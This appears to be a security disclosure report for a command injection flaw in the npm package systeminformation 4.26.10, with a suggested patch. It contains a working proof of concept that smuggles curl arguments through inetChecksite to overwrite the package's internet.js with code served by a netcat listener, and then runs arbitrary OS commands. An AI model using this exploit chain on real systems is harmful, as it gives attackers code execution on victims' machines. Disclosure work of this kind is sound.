How it was found

I would like to report a Command Injection vulnerability in the systeminformation package. It allows an attacker to inject arbitrary OS commands.

Module

Module name: systeminformation Version: 4.26.10 npm page: https://www.npmjs.com/package/systeminformation

Module Description

System and OS information library for node.js.

Module Stats

Weekly downloads: 363.195

Vulnerability

Vulnerability Description

The attacker can concatenate curl parameters to overwrite a Javascript file of the package and then execute any OS commands.

The child_process.exec() function executes the following command:

curl -I --connect-timeout 5 -m 5 $urlSanitized 2>/dev/null | head -n 1 | cut -d " " -f2 # $urlSanitized is the user input

Steps To Reproduce:

Create a Javascript file with content:

const { exec } = require('child_process')
function inetChecksite(url) {
  return exec(url)
}
exports.inetChecksite = inetChecksite

We can use Netcat to create a TCP server to send back our Javascript file created before on 443 port:

sudo nc -nlp 443 < file.js

Execute the code bellow to overwrite the Javascript file:

const si = require('systeminformation')
const HOST = "127.0.0.1:443"

//The telnet was chosen to solve an issue with the protocol response check, like HTTP (HTTP/1.0 200 OK in the first line).
si.inetChecksite(`telnet://${HOST} --no-buffer -o node_modules/systeminformation/lib/internet.js`)

setTimeout(() => {
  process.exit()
}, 2000)

Now we can execute OS commands:

const si = require('systeminformation')
si.inetChecksite("<Some OS command>")

Patch

Replace:

const exec = require('child_process').exec

To:

const { spawn } = require('child_process')

Supporting Material/References:

• ArchLinux 5.4.50 x64
• NODEJS 14.5.0
• NPM 6.14.5

Wrap up

• I contacted the maintainer to let them know: [N]
• I opened an issue in the related repository: [N]

Impact

An attacker can execute arbitrary OS commands on the victim's machine.